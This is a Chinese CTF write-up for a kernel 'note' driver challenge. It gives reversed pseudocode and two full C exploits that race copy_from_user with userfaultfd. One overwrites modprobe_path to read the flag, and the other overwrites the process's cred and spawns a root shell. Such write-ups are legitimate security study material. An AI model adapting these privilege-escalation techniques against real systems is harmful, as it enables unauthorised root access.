前言
题目不算难, 但是这代码逆向可逆死个人:) 悲悲悲
程序分析
内核版本: v5.1.9
保护: 开了 kaslr, smep, smap. 现在的题目基本都开了, 都不用看.
其中 note 模块中注册了一个 misc 设备, 其函数表中就只有 note_open 和 note_unlocked_ioctl 两个函数, 其中 note_open 函数没啥用. 主要看看 note_unlocked_ioctl 函数吧.
这里用的是 unlocked_ioctl 而不是 ioctl, 看网上说 unlocked_ioctl 不会提供锁操作, 需要用户自己实现相关锁操作
行, 来看看 note_unlocked_ioctl 函数吧:) 是不是一脸懵逼, 这只是其中一部分
可能是代码优化的问题, 反正 IDA 的伪 C 代码死难看. 所以这里采用动调的方式去理清楚整个程序的功能.
动调就不一步一步展示了, 最后我整理的结果如下, 就是简单的写了下这个函数的逻辑. 整个过程都没有上锁.
// 用户程序传入的结构体
struct user_note {
size_t idx;
size_t size;
char* buf;
};
// chunk 结构体
// 感觉就是在模仿 glibc
struct chunk {
size_t key;
size_t data_size;
size_t data_offset;
char data[]; //char data[self.data_size];
};
#define ADD 0xFFFFFF00
#define DELE 0xFFFFFF03
#define EDIT 0xFFFFFF01
#define SHOW 0xFFFFFF02
// 调试得知 KEY 与 page_offset_base 存在一个不固定的偏移
#define KEY
#define CHUNK_HEADER_SIZE 0x18
size_t page_offset_base;
// note_arr, chunk_buf, current_chunk_ptr 为 BSS 段上的变量
struct chunk* note_arr[16];
char* current_chunk_ptr = chunk_buf;
char chunk_buf[0x2000];
// 默认 idx 在 [0, 15] 之间
// size 在 [0, 0x100] 之间
// 这里实际上要复杂一些, 因为 chunk 的大小没有对齐
__int64 note_unlocked_ioctl(struct file* fp, unsigend int cmd, unsigned __int64 args)
{
struct user_note user_note;
struct chunk* knote;
size_t buf[32];
if (copy_from_user(&user_note, args, 24)) return -14;
switch (cmd)
{
case ADD:
size_t add_size = LOBYTE(user_note->size);
size_t idx = -1;
// 获取堆块索引, 最多申请16个
for (;idx < 16; idx++)
if (!note_addr[idx])
break;
if (idx == 16) goto ERROR;
// 设置堆块元数据
note_arr[idx] = current_chunk_ptr;
current_chunk_ptr = current_chunk_ptr + add_size + CHUNK_HEADER_SIZE;
note_arr[idx].key = KEY;
note_arr[idx].data_size = add_size;
// 复制数据到内核空间
copy_from_user(buf, user_note.buf, add_size);
// 数据进行异或加密
xor_key(buf, KEY);
// 复制数据到堆块中
qmemcpy(note_arr[idx].data, buf, add_size);
note_arr[idx].data_offset = note_arr[idx] - page_offset_base;
break;
case SHOW:
size_t idx = user_note.idx & 0xf;
size_t size = LOBYTE(note_arr[idx].size);
// 获取堆块数据域起始地址
size_t data_addr = note_arr[idx].data_offset + page_offset_base;
qmemcpy(buf, data_addr, size);
// 数据异或解密
xor_key(buf, KEY);
// 复制数据到用户空间
copy_to_user(user_note.buf, buf, size);
break;
case EDIT:
// 获取堆块
knote = note_arr[LOBYTE(user_note.idx)];
if (knote)
{
size_t size = LOBYTE(knote->size);
size_t data_addr = page_offset_base + knote->data_offset;
// 复制数据到内核空间
copy_from_user(buf, user_note.buf, size);
// 数据加密
xor_key(buf, KEY);
// 复制数据到堆块中
qmemcpy(data_addr, buf, size);
}
break;
case DELE:
// 删除所有堆块
// 将 note_arr 清空
for (int i = 0; i < 16; i++) note_arr[i] = NULL;
// 重置分配堆块指针
current_chunk_ptr = chunk_buf;
// 清空堆区的所以数据
memset(chunk_buf, 0, 0x2000);
break;
}
return 0;
ERROR:
return -14
}
总的来说, 题目实现了一个菜单 "堆", 具有增/删/查/改的功能, 但是这里的 "堆" 是出题者自己模拟的, 即:
1) 在 BSS 段上分配一块内存 bss_buf 作为堆
2) current_chunk_ptr 作为堆指针, 指向堆目前的地址, 类似 glibc 中的 top_chunk
3) 定义了一个 chunk 结构, 类似 glibc 中的 chunk 都包含一个 0x10 的头一样. 这里的头为 0x18, 字段分别为 key, data_size, data_offset, 其函数如下:
1) chunk 中的数据都会跟 key 进行异或
2) data_size 表示数据域的大小
3) page_offset_base + data_offset 为数据域的起始地址
注意:
1, 这里的 data_size 可以为0, 这时候只分配一个chunk头.
2, 这里的 data_size 并不是对齐的, 也就是说你可以分配大小为 1 字节的堆块, 这是堆块的总大小就为 0x19, 下次分配就会从 0x20 开始. 但是这个没啥用, 我们自己在进行在分配的时候还是 8 字节对齐分配, 因为不想自找麻烦:)
3, 注意一下 dele 堆块, 上面代码写的很清楚了, 自己看吧
漏洞分析与利用
漏洞就在于其没有进行锁操作, 并且内核版本为 5.1.9, 在 add/edit 的时候利用了 copy_from_user, 所以就是常规的 userfaultfd 利用了.
任意写打 modprobe_path
其实上面已经写的很清楚了, 代码逻辑也写了, 先把 key 泄漏出来, 然后泄漏 kernel_base, 最后修改 data_offset 实现任意地址写.
exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
size_t key;
size_t kernel_offset;
size_t modprobe_path_offset;
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
int fd;
struct note {
size_t idx;
size_t size;
char* buf;
};
void add(size_t size, char* buf)
{
struct note n = { .idx = 0, .size = size, .buf = buf };
ioctl(fd, 0xFFFFFF00, &n);
}
void edit(size_t idx, char* buf)
{
struct note n = { .idx = idx, .size = 0, .buf = buf };
ioctl(fd, 0xFFFFFF01, &n);
}
void show(size_t idx, char* buf)
{
struct note n = { .idx = idx, .size = 0, .buf = buf };
ioctl(fd, 0xFFFFFF02, &n);
}
void dele()
{
struct note n = { .idx = 0, .size = 0, .buf = NULL };
ioctl(fd, 0xFFFFFF03, &n);
}
void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
uffdio_register.range.start = (long long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}
char copy_src[0x1000] = { 0 };
void* leak_key(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler to leak key");
char buf[0x100] = { 0 };
dele();
add(0, buf);
add(0, buf);
*(uint64_t*)(copy_src) = 0;
*(uint64_t*)(copy_src+8) = 0xff;
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void* leak_kernel(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler to leak kernel base");
char buf[0x100] = { 0 };
dele();
add(0x18, buf);
add(0x18, buf);
memset(copy_src, 0, sizeof(copy_src));
*(uint64_t*)(copy_src+0x18) = key;
*(uint64_t*)(copy_src+0x18+8) = 0x18 ^ key;
*(uint64_t*)(copy_src+0x18+8+8) = 0x9d000 ^ key;
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void* hijack(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler to hijack modprobe_path");
char buf[0x100] = { 0 };
dele();
add(0x18, buf);
add(0x18, buf);
memset(copy_src, 0, sizeof(copy_src));
*(uint64_t*)(copy_src+0x18) = key;
*(uint64_t*)(copy_src+0x18+8) = 0x10 ^ key;
*(uint64_t*)(copy_src+0x18+8+8) = modprobe_path_offset ^ key;
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/note/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /home/note/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/dummy"); // 非法格式的二进制文件
system("chmod +x /home/note//dummy");
system("/home/note/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 执行的文件 /tmp/x
sleep(0.3);
system("cat /flag");
exit(0);
}
int main(int argc, char** argv, char** envp)
{
char buf[0x1000] = { 0 };
fd = open("/dev/note", O_RDONLY);
if (fd < 0) err_exit("FAILED to open dev file");
pthread_t thr0, thr1, thr2;
void* uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
void* uffd_buf1 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
void* uffd_buf2 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (uffd_buf0 < 0) err_exit("FAILED to mmap for uffd");
if (uffd_buf1 < 0) err_exit("FAILED to mmap for uffd");
if (uffd_buf2 < 0) err_exit("FAILED to mmap for uffd");
register_userfaultfd(&thr0, uffd_buf0, 0x1000, leak_key);
register_userfaultfd(&thr1, uffd_buf1, 0x1000, leak_kernel);
register_userfaultfd(&thr2, uffd_buf2, 0x1000, hijack);
add(0x10, uffd_buf0);
show(1, buf);
key = *(uint64_t*)buf;
binary_dump("Leak key data", buf, 0x100);
hexx("key value", key);
memset(buf, 0, sizeof(buf));
dele();
add(0x18+0x18, buf);
edit(0, uffd_buf1);
show(1, buf);
kernel_offset = *(uint64_t*)buf - 0xffffffff81000030;
binary_dump("Leak kernel_base data", buf, 0x18);
hexx("kernel_offset", kernel_offset);
size_t modprobe_path = 0xffffffff8205e0e0 + kernel_offset;
size_t page_offset_base = key & 0xfffffffff0000000;
modprobe_path_offset = modprobe_path - page_offset_base;
hexx("modprobe", modprobe_path);
hexx("Guess page_offset_base", page_offset_base);
hexx("modprobe_path_offset", modprobe_path_offset);
memset(buf, 0, sizeof(buf));
dele();
add(0x18+0x18, buf);
edit(0, uffd_buf2);
strcpy(buf, "/home/note/x");
edit(1, buf);
puts("[+] get flag");
get_flag();
return 0;
}
效果如下:
任意写修改 cred
这里我们存在任意读写的能力, 所有根本不需要泄漏 kernel_base, 直接在泄漏 key 后得到 page_offset_base, 然后遍历搜索 current task_struct, 然后找到 current_cred, 最后利用任意写修改 cred 进行提权.
exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/prctl.h>
size_t key;
size_t kernel_offset;
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
int fd;
struct note {
size_t idx;
size_t size;
char* buf;
};
void add(size_t size, char* buf)
{
struct note n = { .idx = 0, .size = size, .buf = buf };
ioctl(fd, 0xFFFFFF00, &n);
}
void edit(size_t idx, char* buf)
{
struct note n = { .idx = idx, .size = 0, .buf = buf };
ioctl(fd, 0xFFFFFF01, &n);
}
void show(size_t idx, char* buf)
{
struct note n = { .idx = idx, .size = 0, .buf = buf };
ioctl(fd, 0xFFFFFF02, &n);
}
void dele()
{
struct note n = { .idx = 0, .size = 0, .buf = NULL };
ioctl(fd, 0xFFFFFF03, &n);
}
void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
uffdio_register.range.start = (long long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}
char copy_src[0x1000] = { 0 };
void* handler(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler");
char buf[0x100] = { 0 };
dele();
add(0, buf);
add(0, buf);
*(uint64_t*)(copy_src) = 0;
*(uint64_t*)(copy_src+8) = 0x18;
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
int main(int argc, char** argv, char** envp)
{
char buf[0x100] = { 0 };
char buffer[0x300] = { 0 };
fd = open("/dev/note", O_RDONLY);
if (fd < 0) err_exit("FAILED to open dev file");
if (prctl(PR_SET_NAME, "Pwner-XiaozaYa") < 0) err_exit("SET NAME");
pthread_t thr;
void* uffd_buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (uffd_buf < 0) err_exit("FAILED to mmap for uffd");
register_userfaultfd(&thr, uffd_buf, 0x1000, handler);
add(0x10, uffd_buf);
show(1, buf);
key = *(uint64_t*)buf;
binary_dump("Leak key data", buf, 0x18);
hexx("key value", key);
size_t page_offset_base = key & 0xfffffffff0000000;
hexx("Guess page_offset_base", page_offset_base);
memset(buf, 0, sizeof(buf));
add(0, buf);
*(uint64_t*)buf = 0 ^ key;
*(uint64_t*)(buf + 8) = 0xff ^ key;
uint64_t* task;
for (size_t off = 0; ; off+=0x100)
{
*(uint64_t*)(buf + 8 + 8) = off ^ key;
edit(1, buf);
memset(buffer, 0, sizeof(buffer));
show(2, buffer+0x100);
task = (uint64_t*)memmem(buffer+0x100, 0x100, "Pwner-XiaozaYa", 14);
if (task)
{
printf("[+] comm: %s, real_cred: %#lx, current_cred: %#lx\n", task, task[-1], task[-2]);
if (task[-1] > 0xffff000000000000 && task[-2] > 0xffff000000000000) break;
}
}
*(uint64_t*)(buf + 8) = 0x20 ^ key;
*(uint64_t*)(buf + 8 + 8) = (task[-2] + 4 - page_offset_base) ^ key;
edit(1, buf);
memset(buf, 0, sizeof(buf));
edit(2, buf);
puts("[+] Get root shell");
system("/bin/sh");
return 0;
}
效果如下: 因为每次最多只能读0x100, 所以寻找 current_task_struct 的时间可能久一些